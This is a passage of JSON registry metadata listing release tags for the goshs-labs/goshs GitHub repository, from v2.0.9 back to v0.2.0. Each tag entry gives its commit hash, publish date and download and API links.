kind":"commit","published_at":"2026-05-27T13:49:51.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v2.0.9","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v2.0.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v2.0.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.9/manifests"},{"name":"v2.0.8","sha":"326ba01443506969698b9f9b11052035b3c1777f","kind":"commit","published_at":"2026-05-13T13:57:24.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v2.0.8","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v2.0.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v2.0.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.8/manifests"},{"name":"v2.0.7","sha":"e760d6826f54c26ac7113cb2fc80daecfa96718f","kind":"commit","published_at":"2026-05-12T13:06:43.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v2.0.7","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v2.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v2.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.7/manifests"},{"name":"v2.0.6","sha":"f6216dcf430c0942e5e6b108848d5c85464c2169","kind":"commit","published_at":"2026-04-29T12:51:00.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v2.0.6","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v2.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v2.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.6/manifests"},{"name":"v2.0.5","sha":"5fcb4c950033e9ef97c07a3882eef073dc708952","kind":"commit","published_at":"2026-04-27T13:48:07.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v2.0.5","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v2.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v2.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.5/manifests"},{"name":"v2.0.4","sha":"0bf431529dcee34d4f666ce31f533204a3622d48","kind":"commit","published_at":"2026-04-27T06:08:59.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v2.0.4","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v2.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v2.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.4/manifests"},{"name":"v2.0.3","sha":"88eec60a6057e5811c7946da97975af68b947350","kind":"commit","published_at":"2026-04-21T13:04:57.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v2.0.3","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v2.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v2.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.3/manifests"},{"name":"v2.0.2","sha":"343902890456e88db614a416550ae2858d8e0f8d","kind":"commit","published_at":"2026-04-21T07:52:00.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v2.0.2","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v2.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v2.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.2/manifests"},{"name":"v2.0.1","sha":"847637dabdf1184293d701d8b42718b58cecfe0f","kind":"commit","published_at":"2026-04-14T08:43:35.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v2.0.1","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.1/manifests"},{"name":"v2.0.0","sha":"0c316e71c6eb69d75218c4af6e9793cc07cdfaab","kind":"commit","published_at":"2026-04-14T08:24:01.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v2.0.0","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.0/manifests"},{"name":"v2.0.0-beta.6","sha":"2f6b5d601d494601fa43fad9a712ee6117b7dbcd","kind":"commit","published_at":"2026-04-13T09:12:53.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v2.0.0-beta.6","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v2.0.0-beta.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v2.0.0-beta.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.0-beta.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.0-beta.6/manifests"},{"name":"v2.0.0-beta.5","sha":"701c806595c31e4486bf856a3dded87fd3f3a17c","kind":"commit","published_at":"2026-04-10T13:07:32.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v2.0.0-beta.5","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v2.0.0-beta.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v2.0.0-beta.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.0-beta.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.0-beta.5/manifests"},{"name":"v2.0.0-beta.4","sha":"10f291dea17fb795f0008ed64c3ad7ab8c0470de","kind":"commit","published_at":"2026-04-09T18:18:46.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v2.0.0-beta.4","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v2.0.0-beta.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v2.0.0-beta.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.0-beta.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.0-beta.4/manifests"},{"name":"v2.0.0-beta.3","sha":"237f3af891a90df9b903b85f1cd3438040ca261a","kind":"tag","published_at":"2026-04-01T17:25:48.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v2.0.0-beta.3","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v2.0.0-beta.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v2.0.0-beta.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.0-beta.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.0-beta.3/manifests"},{"name":"v2.0.0-beta.2","sha":"69d1ae7a3187f098b7ad80723b89270104afff06","kind":"commit","published_at":"2026-03-30T09:25:52.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v2.0.0-beta.2","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v2.0.0-beta.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v2.0.0-beta.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.0-beta.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.0-beta.2/manifests"},{"name":"v2.0.0-beta.1","sha":"54b724823aaeb1af8f514a38d875618b0b449d56","kind":"commit","published_at":"2026-03-25T14:27:17.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v2.0.0-beta.1","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v2.0.0-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v2.0.0-beta.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.0-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.0-beta.1/manifests"},{"name":"v1.1.4","sha":"5b5228ff042f284bc432e706699cf7252caf96fa","kind":"commit","published_at":"2026-03-13T14:11:55.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v1.1.4","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v1.1.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v1.1.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.1.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.1.4/manifests"},{"name":"1.1.3","sha":"62f294072f1c8baaf04f92a1fde6d9c10b56b3c4","kind":"commit","published_at":"2025-12-16T09:29:53.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/1.1.3","html_url":"https://github.com/goshs-labs/goshs/releases/tag/1.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@1.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/1.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/1.1.3/manifests"},{"name":"v1.1.2","sha":"0b78da54caa3a5b1c6cd41b951ff56dbfd9c207e","kind":"commit","published_at":"2025-11-12T10:04:08.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v1.1.2","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v1.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v1.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.1.2/manifests"},{"name":"v1.1.1","sha":"b1caf949196b9ebcc5b078502bcecfe20544597d","kind":"commit","published_at":"2025-09-22T07:54:08.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v1.1.1","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v1.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v1.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.1.1/manifests"},{"name":"v1.1.0","sha":"1ae129a5ae4fc0e05875da251e5ba9cf1c7a6db3","kind":"commit","published_at":"2025-06-03T08:16:04.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v1.1.0","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.1.0/manifests"},{"name":"v1.0.9","sha":"b30f8da5520f6ef587ef0665a37717c6217c2c0c","kind":"commit","published_at":"2025-05-28T08:20:50.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v1.0.9","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v1.0.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v1.0.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.0.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.0.9/manifests"},{"name":"v1.0.8","sha":"b8b3529a3b27a069c98a64b7fc715fb7e09d8a7d","kind":"commit","published_at":"2025-05-20T10:40:35.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v1.0.8","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v1.0.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v1.0.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.0.8/manifests"},{"name":"v1.0.7","sha":"a24cf77e24a797737603e0f76d502317ff6b3e06","kind":"tag","published_at":"2025-05-19T14:01:35.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v1.0.7","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v1.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v1.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.0.7/manifests"},{"name":"v1.0.6","sha":"1f29165afbc926d738221dd8ed680e20b3acc295","kind":"tag","published_at":"2025-05-12T09:29:49.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v1.0.6","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v1.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v1.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.0.6/manifests"},{"name":"v1.0.5","sha":"1eb190b81f7a7d8bbb94387c3d192a0dfa420e87","kind":"tag","published_at":"2025-05-06T10:07:54.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v1.0.5","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v1.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v1.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.0.5/manifests"},{"name":"v1.0.4","sha":"8e85c72d5dd1470a8836131ac07119cf559d93c8","kind":"tag","published_at":"2025-05-02T14:16:38.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v1.0.4","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v1.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v1.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.0.4/manifests"},{"name":"v1.0.3","sha":"367751fab6716f0f790fc2629d172f4326f3a4b2","kind":"tag","published_at":"2025-04-16T12:13:14.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v1.0.3","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v1.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v1.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.0.3/manifests"},{"name":"v1.0.2","sha":"a9e2ecd557f05fb032452669586f1cfeffa4c34c","kind":"tag","published_at":"2025-03-07T07:55:53.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v1.0.2","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v1.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v1.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.0.2/manifests"},{"name":"v1.0.1","sha":"af9ef83ce37e3bf422abce915e94b74e8a0b397c","kind":"tag","published_at":"2024-11-22T08:21:33.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v1.0.1","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.0.1/manifests"},{"name":"v1.0.0","sha":"6a9792d56be9eb990e3358a8b7c053131fde61fa","kind":"tag","published_at":"2024-11-15T10:48:54.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v1.0.0","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.0.0/manifests"},{"name":"v0.4.2","sha":"59b5cdb0ae2559f92c3526fd57385ba25f627e99","kind":"tag","published_at":"2024-10-17T11:42:35.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.4.2","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.4.2/manifests"},{"name":"v0.4.1","sha":"25ac43d6846d47c661e1c34d160a5134dab83da0","kind":"tag","published_at":"2024-07-11T12:33:57.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.4.1","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.4.1/manifests"},{"name":"v0.4.0","sha":"6f1e81c9189208f1be56d0917fcb98601cd663d0","kind":"tag","published_at":"2024-07-05T17:59:22.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.4.0","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.4.0/manifests"},{"name":"v0.3.9","sha":"ab22259e990b5b1c977a2fbe958bec1b44e51c02","kind":"tag","published_at":"2024-06-27T12:57:00.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.3.9","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.3.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.3.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.3.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.3.9/manifests"},{"name":"v0.3.8","sha":"92dd103cb66bea7001417ee2ce9d3167a7c20101","kind":"tag","published_at":"2024-04-30T07:04:54.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.3.8","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.3.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.3.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.3.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.3.8/manifests"},{"name":"v0.3.7","sha":"99dcbb68215c3a794dadfbd59b860f12c4b4ebb5","kind":"tag","published_at":"2024-04-10T12:53:58.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.3.7","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.3.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.3.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.3.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.3.7/manifests"},{"name":"v0.3.6","sha":"2ee6884eeb1d2252013caa155eeb58896e3cfe64","kind":"tag","published_at":"2023-09-01T09:02:40.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.3.6","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.3.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.3.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.3.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.3.6/manifests"},{"name":"v0.3.5","sha":"7f7b0fc0cdb6dfa8f4f8c0c06b9a508f791f5be5","kind":"tag","published_at":"2023-06-21T09:13:34.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.3.5","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.3.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.3.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.3.5/manifests"},{"name":"v0.3.4","sha":"188589596594765ad4b22d2709fc5ca848c6a56a","kind":"tag","published_at":"2023-06-01T10:53:10.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.3.4","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.3.4/manifests"},{"name":"v0.3.3","sha":"4732ae364faf32681dbb361aafa337d8c3fcf25d","kind":"tag","published_at":"2023-05-31T13:59:22.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.3.3","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.3.3/manifests"},{"name":"v0.3.2","sha":"33c8a14257bcf88d7d2ad35cd490fa7805cca9f6","kind":"tag","published_at":"2023-05-29T08:26:19.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.3.2","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.3.2/manifests"},{"name":"v0.3.1","sha":"b394bd5866d568f41d136255236094f8c77a9407","kind":"tag","published_at":"2023-05-08T07:11:07.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.3.1","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.3.1/manifests"},{"name":"v0.3.0","sha":"6574ddac3213fa51cd80af84a9162d555e50af63","kind":"tag","published_at":"2023-02-28T14:59:10.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.3.0","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.3.0/manifests"},{"name":"v0.2.0","sha":"3b807da9ea42cd4edaa99a51a932603f534e52ad","kind":"tag","published_at":"2022-12-02T09:03:27.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.2.0","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gos